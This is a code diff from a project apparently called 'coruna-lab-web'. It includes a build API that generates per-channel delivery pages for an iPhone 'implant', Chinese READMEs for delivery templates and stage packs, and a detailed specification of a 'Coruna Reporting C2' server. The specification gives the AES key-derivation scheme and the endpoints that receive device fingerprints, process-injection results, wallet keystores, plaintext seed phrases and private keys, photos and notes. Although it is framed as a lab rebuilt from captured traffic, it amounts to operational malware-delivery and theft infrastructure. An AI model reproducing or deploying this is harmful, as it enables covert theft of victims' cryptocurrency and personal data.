with os.fdopen(descriptor, "wb") as stream:
|
||||||
|
stream.write(data)
|
||||||
|
stream.flush()
|
||||||
|
os.fsync(stream.fileno())
|
||||||
|
os.replace(temporary, path)
|
||||||
|
except Exception:
|
||||||
|
if temporary.exists():
|
||||||
|
temporary.unlink()
|
||||||
|
raise
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _read_manifest(destination: Path) -> dict[str, Any] | None:
|
||||||
|
if destination.is_symlink() or not destination.is_dir():
|
||||||
|
return None
|
||||||
|
manifest_path = destination / "manifest.json"
|
||||||
|
if manifest_path.is_symlink() or not manifest_path.is_file():
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
value = json.loads(manifest_path.read_text(encoding="utf-8"))
|
||||||
|
except (OSError, UnicodeDecodeError, json.JSONDecodeError):
|
||||||
|
return None
|
||||||
|
return value if isinstance(value, dict) else None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _digest(value: dict[str, Any]) -> str:
|
||||||
|
canonical = json.dumps(
|
||||||
|
value, sort_keys=True, separators=(",", ":"), ensure_ascii=True
|
||||||
|
).encode()
|
||||||
|
return hashlib.sha256(canonical).hexdigest()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _status_payload(channel_id: str, manifest: dict[str, Any]) -> dict[str, Any]:
|
||||||
|
return {
|
||||||
|
"status": "built",
|
||||||
|
"channel_id": channel_id,
|
||||||
|
"request_id": manifest.get("request_id"),
|
||||||
|
"release_path": f"channel/{channel_id}",
|
||||||
|
"support_path": manifest.get(
|
||||||
|
"support_path", f"/channel/{channel_id}/web/support.html"
|
||||||
|
),
|
||||||
|
"daily_path": manifest.get(
|
||||||
|
"daily_path", f"/channel/{channel_id}/sync/daily.html"
|
||||||
|
),
|
||||||
|
"manifest": manifest,
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _builder_error(exc: subprocess.CalledProcessError) -> str:
|
||||||
|
stderr = (exc.stderr or "").strip().splitlines()
|
||||||
|
detail = stderr[-1][:500] if stderr else "builder exited unsuccessfully"
|
||||||
|
return f"builder failed: {detail}"
|
||||||
@@ -0,0 +1,150 @@
|
|||||||
|
# Synchronous build API
|
||||||
|
|
||||||
|
`build_api` is the HTTP front of **coruna-lab-web**. It runs
|
||||||
|
`frontend/tools/new_project.py` synchronously and publishes completed releases
|
||||||
|
for a web server to serve directly from the local filesystem. Laravel lives in the
|
||||||
|
sibling `coruna-lab` project and calls this API over the network.
|
||||||
|
|
||||||
|
## Storage layout
|
||||||
|
|
||||||
|
```text
|
||||||
|
<artifact-root>/
|
||||||
|
├── channel/<channel-id>/ # published web/, sync/, out/, manifest.json
|
||||||
|
├── staging/<request-id>/ # private build workspaces
|
||||||
|
└── locks/<channel-id>.lock # nonblocking advisory locks
|
||||||
|
```
|
||||||
|
|
||||||
|
Staging and published releases are children of the same artifact root and are
|
||||||
|
checked to be on the same filesystem. A successful build is renamed into
|
||||||
|
`channel/<channel-id>` only after its required output and absence of symlinks
|
||||||
|
have been verified. Builder failures remove staging and leave an existing
|
||||||
|
release untouched.
|
||||||
|
|
||||||
|
Every release gets a `manifest.json` containing the normalized build input, its
|
||||||
|
SHA-256 digest, request ID, build timestamp, and a digest of builder stdout.
|
||||||
|
An identical input returns the existing manifest without running the builder.
|
||||||
|
Different input for an existing channel returns `409`; `"force": true` replaces
|
||||||
|
it after a new build succeeds.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
The service reads:
|
||||||
|
|
||||||
|
- `BUILD_API_TOKEN` (required): exact Bearer token.
|
||||||
|
- `BUILD_API_ARTIFACT_ROOT`: defaults to `artifacts/` in the repository.
|
||||||
|
- `BUILD_API_PROJECT_SCRIPT`: defaults to `frontend/tools/new_project.py`.
|
||||||
|
- `BUILD_API_PYTHON`: Python used to invoke the builder.
|
||||||
|
- `BUILD_API_HOST` / `BUILD_API_PORT`: defaults to `127.0.0.1:8081`.
|
||||||
|
- `BUILD_API_TIMEOUT`: synchronous build timeout in seconds, default `900`.
|
||||||
|
|
||||||
|
Install API dependencies, then run from the repository root:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
pip install -r requirements.txt
|
||||||
|
|
||||||
|
export BUILD_API_TOKEN="$(python3 -c 'import secrets; print(secrets.token_urlsafe(48))')"
|
||||||
|
export BUILD_API_ARTIFACT_ROOT=/srv/coruna-artifacts
|
||||||
|
python3 -m build_api
|
||||||
|
```
|
||||||
|
|
||||||
|
The HTTP layer is **FastAPI** served by **Uvicorn**. Route contracts, status
|
||||||
|
codes, and Bearer auth are unchanged for Laravel clients.
|
||||||
|
|
||||||
|
The builder contract is:
|
||||||
|
|
||||||
|
```text
|
||||||
|
python new_project.py \
|
||||||
|
--root <artifact-root>/staging/<request-id> \
|
||||||
|
--channel-id <id> \
|
||||||
|
--deployment-domains <domain> ... \
|
||||||
|
--reporting-domains <domain> ...
|
||||||
|
```
|
||||||
|
|
||||||
|
It must create a channel-scoped tree below `--root`:
|
||||||
|
|
||||||
|
```text
|
||||||
|
<root>/
|
||||||
|
├── web/support.html
|
||||||
|
├── sync/daily.html
|
||||||
|
├── out/
|
||||||
|
└── manifest.json # includes channel_id, support_path, daily_path
|
||||||
|
```
|
||||||
|
|
||||||
|
The API always passes `--force` because it pre-creates the staging directory.
|
||||||
|
It never writes into the Laravel `public/` directory. Published static URLs are:
|
||||||
|
|
||||||
|
```text
|
||||||
|
/channel/<id>/web/support.html
|
||||||
|
/channel/<id>/sync/daily.html
|
||||||
|
```
|
||||||
|
|
||||||
|
Run the API as a long-lived process (for example via a process manager in
|
||||||
|
宝塔) and put a reverse proxy in front of `BUILD_API_HOST`/`BUILD_API_PORT`.
|
||||||
|
Point the public static site document root at the artifact root so only
|
||||||
|
`channel/<id>/web/` and `channel/<id>/sync/` are reachable; keep
|
||||||
|
`staging/`, `locks/`, manifests, and `out/` private. The web server user
|
||||||
|
needs read access to published releases; it should not have write access.
|
||||||
|
|
||||||
|
## API
|
||||||
|
|
||||||
|
Health is public:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl https://builds.example.com/health
|
||||||
|
```
|
||||||
|
|
||||||
|
Build:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -i -X POST \
|
||||||
|
-H "Authorization: Bearer $BUILD_API_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/build \
|
||||||
|
-d '{
|
||||||
|
"deployment_domains": ["deploy.example"],
|
||||||
|
"reporting_domains": ["report.example"]
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
|
||||||
|
The first successful build returns `201`; the same normalized input returns
|
||||||
|
`200`. A busy channel or conflicting existing release returns `409`, and an
|
||||||
|
invalid channel, JSON body, domain, or field returns `422`.
|
||||||
|
|
||||||
|
Status and deletion:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -H "Authorization: Bearer $BUILD_API_TOKEN" \
|
||||||
|
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||||
|
|
||||||
|
curl -i -X DELETE -H "Authorization: Bearer $BUILD_API_TOKEN" \
|
||||||
|
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||||
|
```
|
||||||
|
|
||||||
|
Deletion returns `204` whether or not the release exists. It rejects symbolic
|
||||||
|
links and takes the same per-channel lock as builds.
|
||||||
|
|
||||||
|
Public static URLs:
|
||||||
|
|
||||||
|
```text
|
||||||
|
/channel/<channel-id>/web/support.html
|
||||||
|
/channel/<channel-id>/sync/daily.html
|
||||||
|
```
|
||||||
|
|
||||||
|
Only `web/` and `sync/` under each channel should be exposed; manifests,
|
||||||
|
`out/`, staging, and locks stay private.
|
||||||
|
|
||||||
|
## Migration checklist
|
||||||
|
|
||||||
|
1. Deploy `build_api` + artifact root + reverse proxy / static site via your panel.
|
||||||
|
2. Set Laravel `CORUNA_BUILD_SERVICE_*` and static-site domains.
|
||||||
|
3. Create a new channel from Admin and verify support/daily URLs on the static host.
|
||||||
|
4. Keep legacy `public/web` and `public/sync` read-only until old channels are rebuilt or retired.
|
||||||
|
5. Device validation (ops): capture that the implant requests `/channel/<id>/sync/daily.html` then `/channel/<id>/sync/<wire>`.
|
||||||
|
|
||||||
|
## Tests
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 -m unittest -v tests.test_build_api
|
||||||
|
```
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
# frontend — 投递模板与构建工具
|
||||||
|
|
||||||
|
只读模板、`tools/` patch 脚本、链路文档。项目根是上一级 [`../`](../README.md)(`coruna-lab-web`)。
|
||||||
|
生产构建由 [`../build_api/`](../build_api/) 调用;产物发布到 artifact root 的 `channel/<id>/`。
|
||||||
|
|
||||||
|
```text
|
||||||
|
frontend/
|
||||||
|
├── source/ # 模板(勿直接 --apply)
|
||||||
|
├── tools/ # new_project / patch_*
|
||||||
|
├── doc/ # STAGE_JS / NATIVE_PACKS / SYNC …
|
||||||
|
├── tests/ # path patch 等
|
||||||
|
└── out/ # 可选缓存
|
||||||
|
```
|
||||||
|
|
||||||
|
## 快速构建
|
||||||
|
|
||||||
|
在 **coruna-lab-web 根**执行:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd .. # → coruna-lab-web/
|
||||||
|
pip3 install -r requirements.txt
|
||||||
|
python3 frontend/tools/new_project.py \
|
||||||
|
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||||
|
--deployment-domains 'www.dep.example' \
|
||||||
|
--reporting-domains 'www.rep.example'
|
||||||
|
```
|
||||||
|
|
||||||
|
默认产物:`artifacts/channel/<id>/{web,sync,out}/`。
|
||||||
|
细节见 [`tools/README.md`](tools/README.md)、[`../docs/BUILD_API.md`](../docs/BUILD_API.md)。
|
||||||
|
|
||||||
|
## 注意
|
||||||
|
|
||||||
|
- 不要对 `source/` 使用 `--apply`
|
||||||
|
- 首个 daily 路径与 daily 内模块 URL 均为 `/channel/<id>/sync/...`
|
||||||
|
- Laravel Admin 在兄弟项目 `coruna-lab`,通过 HTTP 调用本仓库 build API
|
||||||
@@ -0,0 +1,458 @@
|
|||||||
|
# Coruna Reporting C2 API
|
||||||
|
|
||||||
|
Lab 实现见 `routes/c2.php`。字段形状主要来自:
|
||||||
|
|
||||||
|
- [`coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md`](../../../coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md) §7
|
||||||
|
- HAR 解密红acted 样本
|
||||||
|
[`c2_decrypted_redacted.json`](../../../coruna-online/evidence/cases/2026-08-02-coruna-har/c2_decrypted_redacted.json)
|
||||||
|
|
||||||
|
敏感值在证据里已打码;下文用「含义 + 类型」描述,不复述真实秘密。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 传输约定
|
||||||
|
|
||||||
|
### 1.1 JSON POST(除 `/api/user/check`、除 `GET /api/user/query`)
|
||||||
|
|
||||||
|
| 项 | 说明 |
|
||||||
|
|----|------|
|
||||||
|
| Header `timestamp` | 13 位毫秒时间戳 |
|
||||||
|
| Body | Base64(AES-256-ECB-PKCS7(key, `timestamp \|\| JSON`)) |
|
||||||
|
| key | `SHA256(session_key \|\| timestamp)`(session_key 为 16 ASCII) |
|
||||||
|
|
||||||
|
响应同样用自生成 `timestamp` 头 + 加密 body。常见明文为:
|
||||||
|
|
||||||
|
```json
|
||||||
|
null
|
||||||
|
```
|
||||||
|
|
||||||
|
或:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{"code":0,"msg":"ok","data":null}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Lab 默认回包**:加密 `{"code":0,"msg":"ok","data":null}`(与客户端不死循环的成功 ack 对齐)。真实战役响应字段可能更丰富,但客户端通常只认成功/可解密。
|
||||||
|
|
||||||
|
### 1.2 GET `/api/user/query`
|
||||||
|
|
||||||
|
- 无加密 body
|
||||||
|
- 响应明文:`OK`(`text/plain`)
|
||||||
|
|
||||||
|
### 1.3 POST `/api/user/check`
|
||||||
|
|
||||||
|
- `multipart/form-data`
|
||||||
|
- `file`:Coruna 头混淆的加密 7z;口令 `session_key || batchBase`(首批常见 `"0"`)
|
||||||
|
- `sig`:不透明二进制,**Lab 不校验**
|
||||||
|
|
||||||
|
### 1.4 通用身份字段(多接口复用)
|
||||||
|
|
||||||
|
| 字段 | 观察含义 |
|
||||||
|
|------|----------|
|
||||||
|
| `c` | 32 hex,会话/渠道类 ID |
|
||||||
|
| `d` / `f` | 16 hex,设备相关指纹(二者常相同) |
|
||||||
|
| `id` / `lhu` | UUID 形字符串(事件/本地句柄) |
|
||||||
|
| `pn` / `m` / `et` | 产品名 / 机型 / 事件类型文本 |
|
||||||
|
| `pv` | 系统版本(如 `15.8.4`) |
|
||||||
|
| `s` / `u` / `sbu` | 其它会话/用户侧短字段 |
|
||||||
|
| `v` | 插件或模块版本串 |
|
||||||
|
|
||||||
|
设备主键:只取 `d` / `f`(见 `IngestService::extractDeviceKey`)。
|
||||||
|
`/api/user/check` multipart 的 `d`/`f` 为编码形态
|
||||||
|
`hex(ascii(nibbleSwap(byteReverse(json_d))))`(例:`000430C910E8E526` → `36323545384530313943303334303030`);Lab 在入库前归一化为 JSON 侧 16 hex。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 接口一览
|
||||||
|
|
||||||
|
| 方法 | 路径 | 用途(战役观察) | Lab 行为 |
|
||||||
|
|------|------|------------------|----------|
|
||||||
|
| GET | `/api/user/query` | DGA/连通性探测,选 reporting C2 | 明文 `OK` |
|
||||||
|
| POST | `/api/user/avatar/set` | 首次设备 profile | 写 devices(+apps 若有) |
|
||||||
|
| POST | `/api/user/get` | 拉/登记状态;带已装 App 列表 | 登记设备;ack |
|
||||||
|
| POST | `/api/user/avatar/put` | 下载/注入/模块健康等遥测 | 登记设备;ack;落文件日志 |
|
||||||
|
| POST | `/api/user/avatar/status` | 钱包 keystore / identity JSON | `wallet_keystores.raw_json` ← `result` |
|
||||||
|
| POST | `/api/user/status` | 地址 → 资产/余额(`ba`/`ad`) | `wallet_addresses`(balance JSON,source←`a`) |
|
||||||
|
| POST | `/api/user/set` | 明文助记词或私钥 | `wallet_mnemonics`(加密,source←`a`) |
|
||||||
|
| POST | `/api/user/check` | 相册命中图 7z 归档 | 修头解包 → photos |
|
||||||
|
| POST | `/api/user/avatar/pic` | Notes 批次(`list`) | `notes.content` ← `payload.list` |
|
||||||
|
| POST | `/api/user/profile/{add,delete,remove}` | imagent 侧 profile 变更 | 仅日志 + ack |
|
||||||
|
| POST | `/link/config/list` | WebClip/链接配置轮询 | ack `data: []` |
|
||||||
|
| POST | `/link/config/icon` | WebClip 图标 | ack `data: null` |
|
||||||
|
|
||||||
|
**不做**:`/kill`、助记词/私钥自动划转。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 分接口说明
|
||||||
|
|
||||||
|
### 3.1 `GET /api/user/query`
|
||||||
|
|
||||||
|
**用途**:reporting 是否存活;DGA 用成功响应选定当前 C2。
|
||||||
|
|
||||||
|
**请求**:无 body;可无特殊头。
|
||||||
|
|
||||||
|
**响应(Lab / 战役一致观察)**:
|
||||||
|
|
||||||
|
```text
|
||||||
|
OK
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.2 `POST /api/user/avatar/set`
|
||||||
|
|
||||||
|
**用途**:植入后上报设备画像(机型、系统、区域、运营商、宿主 App 等)。
|
||||||
|
|
||||||
|
**请求明文(红acted 形状)**:
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"c": "<32hex>",
|
||||||
|
"d": "<16hex>",
|
||||||
|
"f": "<16hex>",
|
||||||
|
"application": {
|
||||||
|
"applicationIdentifier": "<bundle>",
|
||||||
|
"bundleIdentifier": "<bundle>"
|
||||||
|
},
|
||||||
|
"deviceInfo": {
|
||||||
|
"productName": "iPhone OS",
|
||||||
|
"productType": "iPhone9,1",
|
||||||
|
"productVersion": "15.8.4",
|
||||||
|
"hardwareModel": "...",
|
||||||
|
"buildVersion": "..."
|
||||||
|
},
|
||||||
|
"deviceModel": "iPhone9,1",
|
||||||
|
"deviceName": "<name>",
|
||||||
|
"systemVersion": "15.8.4",
|
||||||
|
"machine": "...",
|
||||||
|
"kernVersion": "...",
|
||||||
|
"bootHash": "...",
|
||||||
|
"boottime": 0,
|
||||||
|
"carrierNames": [],
|
||||||
|
"language": "...",
|
||||||
|
"regionCode": "...",
|
||||||
|
"timezone": "...",
|
||||||
|
"totalGB": 0,
|
||||||
|
"jbsdk_version": "...",
|
||||||
|
"lhu": "<uuid>",
|
||||||
|
"s": "...",
|
||||||
|
"sbu": "...",
|
||||||
|
"u": "..."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**响应**:加密 ack(见 §1.1)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.3 `POST /api/user/get`
|
||||||
|
|
||||||
|
**用途**:初始状态/注册拉取;HAR 中携带已装应用简表 `al`。
|
||||||
|
|
||||||
|
**请求明文要点**:
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"c": "<32hex>",
|
||||||
|
"d": "<16hex>",
|
||||||
|
"f": "<16hex>",
|
||||||
|
"al": [
|
||||||
|
{ "a": "<app name>", "b": "<bundle id>", "v": "<version>" }
|
||||||
|
],
|
||||||
|
"b": "...",
|
||||||
|
"i": "...",
|
||||||
|
"lhu": "<uuid>",
|
||||||
|
"m": "...",
|
||||||
|
"p": "...",
|
||||||
|
"s": "...",
|
||||||
|
"sbu": "...",
|
||||||
|
"u": "...",
|
||||||
|
"v": "..."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| 字段 | 含义 |
|
||||||
|
|------|------|
|
||||||
|
| `al[].a` | App 显示名 |
|
||||||
|
| `al[].b` | bundle id |
|
||||||
|
| `al[].v` | App 版本 |
|
||||||
|
|
||||||
|
**响应**:加密 `{"code":0,"msg":"ok","data":null}`(Lab)。战役侧可能带配置 `data`;未完全还原时以可解密成功 ack 为准。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.4 `POST /api/user/avatar/put`
|
||||||
|
|
||||||
|
**用途**:通用遥测/事件总线。同路径多种 `ctx`:
|
||||||
|
|
||||||
|
| ctx 形态 | 含义 |
|
||||||
|
|----------|------|
|
||||||
|
| `url, sha256, size, downloadTimeMs, isFirstLoad` | 模块/资源下载 |
|
||||||
|
| `totalModules, abnormalModules, overallStatus, checkTimeMs` | 模块健康检查 |
|
||||||
|
| `bundleId, targetPid, injectionTimeMs` | 进程注入结果 |
|
||||||
|
| 空 `ctx` | 其它短事件(配合 `desc` / `et` / `ex`) |
|
||||||
|
|
||||||
|
**公共字段示例**:
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"c": "<32hex>",
|
||||||
|
"d": "<16hex>",
|
||||||
|
"f": "<16hex>",
|
||||||
|
"id": "<uuid>",
|
||||||
|
"lhu": "<uuid>",
|
||||||
|
"pn": "iPhone OS",
|
||||||
|
"m": "iPhone9,1",
|
||||||
|
"pv": "15.8.4",
|
||||||
|
"desc": "<event description>",
|
||||||
|
"et": "<event type text>",
|
||||||
|
"ex": 0,
|
||||||
|
"exp": "",
|
||||||
|
"ctx": { /* 见上表 */ },
|
||||||
|
"s": "...",
|
||||||
|
"..."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
WhatsApp 等插件也会复用此路径上报消息相关事件(静态/流量均有指认)。
|
||||||
|
|
||||||
|
**响应**:加密 ack。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.5 `POST /api/user/avatar/status`
|
||||||
|
|
||||||
|
**用途**:上传仍加密的钱包/keystore/identity JSON(如 imToken `walletsV2` 解密前结构)。
|
||||||
|
|
||||||
|
**请求明文要点**:
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"a": "<短标签>",
|
||||||
|
"c": "<32hex>",
|
||||||
|
"d": "<16hex>",
|
||||||
|
"d1": "<40hex>",
|
||||||
|
"d2": "<短串>",
|
||||||
|
"d3": "<40hex>",
|
||||||
|
"v": "<module version>",
|
||||||
|
"result": {
|
||||||
|
"crypto": {
|
||||||
|
"cipher": "aes-128-ctr",
|
||||||
|
"cipherparams": { "iv": "<hex>" },
|
||||||
|
"ciphertext": "<hex>",
|
||||||
|
"kdf": "pbkdf2",
|
||||||
|
"kdfparams": { "c": 0, "dklen": 0, "prf": "...", "salt": "<hex>" },
|
||||||
|
"mac": "<hex>"
|
||||||
|
},
|
||||||
|
"identity": { /* encAuthKey, encKey, ... */ },
|
||||||
|
"encOriginal": "...",
|
||||||
|
"imTokenMeta": { /* ... */ }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**响应**:加密 ack。
|
||||||
|
Lab:`wallet_keystores` 存整份 `result`(`raw_json`)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.6 `POST /api/user/status`
|
||||||
|
|
||||||
|
**用途**:地址 → 链上资产/余额映射。
|
||||||
|
|
||||||
|
**请求明文要点**:
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"a": "<短标签>",
|
||||||
|
"c": "<32hex>",
|
||||||
|
"d": "<16hex>",
|
||||||
|
"d1": "<40hex>",
|
||||||
|
"d2": "...",
|
||||||
|
"d3": "<40hex>",
|
||||||
|
"v": "...",
|
||||||
|
"ba": {
|
||||||
|
"<walletAddress>": [
|
||||||
|
{
|
||||||
|
"balance": "<string>",
|
||||||
|
"chainId": "<string>",
|
||||||
|
"chainType": "<string>",
|
||||||
|
"decimal": "<string>",
|
||||||
|
"name": "<token name>",
|
||||||
|
"symbol": "<symbol>"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`ba` 的 key 为地址;value 为该地址下资产数组。
|
||||||
|
|
||||||
|
**响应**:加密 ack。Lab 写入 `wallet_addresses`:`chain_type`←`chainType`(缺省则按地址推断),`balance` 为 `{SYMBOL: 格式化数量}`(按 `decimal`/`decimals`),`source`←`a` 短标签映射钱包名。亦接受 `ad`(Global 标量 map / Trust 资产数组)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.7 `POST /api/user/set`
|
||||||
|
|
||||||
|
**用途**:上报**明文**助记词或私钥(HAR 已证实 12 词助记词在 `result`)。
|
||||||
|
|
||||||
|
**请求明文要点**:
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"a": "<短标签>",
|
||||||
|
"c": "<32hex>",
|
||||||
|
"d": "<16hex>",
|
||||||
|
"d1": "<40hex>",
|
||||||
|
"d2": "...",
|
||||||
|
"d3": "<40hex>",
|
||||||
|
"v": "...",
|
||||||
|
"result": "<12/15/18/21/24 words mnemonic OR private key string>"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**响应**:加密 ack。Lab:`wallet_mnemonics`(`mnemonic_enc` Laravel crypt,`source`←`a`),后台仅打码展示。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.8 `POST /api/user/check`
|
||||||
|
|
||||||
|
**用途**:相册 OCR/敏感命中后的图片归档上传(非 AES JSON)。
|
||||||
|
|
||||||
|
**Content-Type**:`multipart/form-data`
|
||||||
|
|
||||||
|
| Part | 观察 |
|
||||||
|
|------|------|
|
||||||
|
| `file` | Coruna 头混淆 7z;解压后为 JPEG 等 |
|
||||||
|
| `sig` | ~352–472 字节不透明数据,用途未证实 |
|
||||||
|
| `idx` | 12 hex:`upload_count\|\|process_index`(各 6 位);Lab 解码入库 |
|
||||||
|
| `ftu` | 12 hex:`text_count\|\|barcode_count`;Lab 解码入库 |
|
||||||
|
| `x-hit` | BIP39 词数或 -1/-2/-3;Lab 存 `photos.x_hit` |
|
||||||
|
| `rid` | ~36 字符请求/资源 id |
|
||||||
|
| `c`,`d`,`f`,`s`,`u`,`b`,`m`,`ts` | 设备/会话侧短字段(与 JSON 接口同族) |
|
||||||
|
| `d`,`f` | **长度 32**:相对 JSON 的 16 hex 做了 nibble/byte 重排后再 hex(ascii);Lab 归一化后入库 |
|
||||||
|
| `ts` | **即 batchBase**:首批为 `"0"`;后续为 `LastProcessedTimestamp` 十进制字符串 |
|
||||||
|
|
||||||
|
7z 口令:`session_key || ts`(Lab 读 multipart 字段 `ts`;缺省才回落 `"0"`)。
|
||||||
|
|
||||||
|
**响应**:加密 ack(Lab)。战役侧亦为加密成功体,具体 JSON 未作为契约固定。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.9 `POST /api/user/avatar/pic`
|
||||||
|
|
||||||
|
**用途**:Notes reader 批次上报。
|
||||||
|
|
||||||
|
**请求明文要点**(真机已见):
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"c": "<32hex>",
|
||||||
|
"d": "<16hex>",
|
||||||
|
"f": "<16hex>",
|
||||||
|
"s": "...",
|
||||||
|
"u": "<40hex>",
|
||||||
|
"list": ["<note text>", "..."]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**响应**:加密 ack。Lab:`notes.content` ← `payload.list`(JSON 数组)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.10 `POST /api/user/profile/add|delete|remove`
|
||||||
|
|
||||||
|
**用途**:`imagent` 消息/profile 状态变更(静态接口表)。HAR 本批无样本。
|
||||||
|
|
||||||
|
**请求**:加密 JSON(形状未钉死)。
|
||||||
|
**响应**:加密 ack;Lab 仅日志。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.11 `POST /link/config/list`
|
||||||
|
|
||||||
|
**用途**:WebClip / 链接配置轮询。
|
||||||
|
|
||||||
|
**请求明文(HAR)**:
|
||||||
|
|
||||||
|
```jsonc
|
||||||
|
{
|
||||||
|
"c": "<32hex>",
|
||||||
|
"channel": "<32hex>",
|
||||||
|
"d": "",
|
||||||
|
"f": "",
|
||||||
|
"s": "",
|
||||||
|
"u": ""
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**响应**:
|
||||||
|
|
||||||
|
- Lab:加密 `{"code":0,"msg":"ok","data":[]}`
|
||||||
|
- 战役:可能返回链接列表;未完整还原时客户端以可解密为准
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3.12 `POST /link/config/icon`
|
||||||
|
|
||||||
|
**用途**:拉取 WebClip 图标。
|
||||||
|
**HAR**:本批无独立解密样本。
|
||||||
|
|
||||||
|
**请求**:加密 JSON(预期含图标/链接标识)。
|
||||||
|
**响应(Lab)**:加密 `{"code":0,"msg":"ok","data":null}`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Lab 响应统一格式
|
||||||
|
|
||||||
|
除 `query` 外,控制器经 `CorunaCrypto::encryptJson` 返回:
|
||||||
|
|
||||||
|
**HTTP**
|
||||||
|
|
||||||
|
- Status:`200`
|
||||||
|
- Header:`timestamp: <13-digit>`
|
||||||
|
- Body:Base64 AES 密文
|
||||||
|
|
||||||
|
**明文(Lab)**
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"code": 0,
|
||||||
|
"msg": "ok",
|
||||||
|
"data": null
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`/link/config/list` 的 `data` 为 `[]`。
|
||||||
|
|
||||||
|
原始请求/响应落盘:`public/log/c2/Ymd.log`(`create_log`,不写 DB)。
|
||||||
|
|
||||||
|
- `dir: "in"`:请求明文(解密后 `payload`)
|
||||||
|
- `dir: "out"`:响应明文(有 `timestamp` 头则 AES 解密;`query` 等明文直接记)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 调用顺序(HAR 观察)
|
||||||
|
|
||||||
|
典型顺序(同一 reporting 域名):
|
||||||
|
|
||||||
|
```text
|
||||||
|
query → avatar/put(telemetry) → query → avatar/set → get
|
||||||
|
→ avatar/put* → check* → … → avatar/status → status → set
|
||||||
|
→ link/config/list …
|
||||||
|
```
|
||||||
|
|
||||||
|
相册命中(`check`)可早于或并行于钱包本地解密上报(`avatar/status` → `status` → `set`)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 参考
|
||||||
|
|
||||||
|
| 文档/证据 | 内容 |
|
||||||
|
|-----------|------|
|
||||||
|
| `CORUNA_COMPLETE_DATAFLOW_REPORT.md` §7.2 | 接口职责总表 |
|
||||||
|
| `CORUNA_DOMAIN_DGA_REPORT.md` | `query` 与 DGA 选服 |
|
||||||
|
| `c2_decrypted_redacted.json` | 各路径请求字段形状 |
|
||||||
|
| `app/Services/CorunaCrypto.php` | 加解密实现 |
|
||||||
|
| `app/Http/Controllers/C2/C2Controller.php` | Lab 处理与回包 |
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
# 一级包与二级包
|
||||||
|
|
||||||
|
## 路径
|
||||||
|
|
||||||
|
**线上:同一相对目录。** Stage JS、一级包、二级包都从 campaign base 用文件名下载:
|
||||||
|
|
||||||
|
```text
|
||||||
|
{base}/70049138….js # Stage
|
||||||
|
{base}/6539c1e0….js # 一级包(wire 后缀 .js)
|
||||||
|
{base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js)
|
||||||
|
```
|
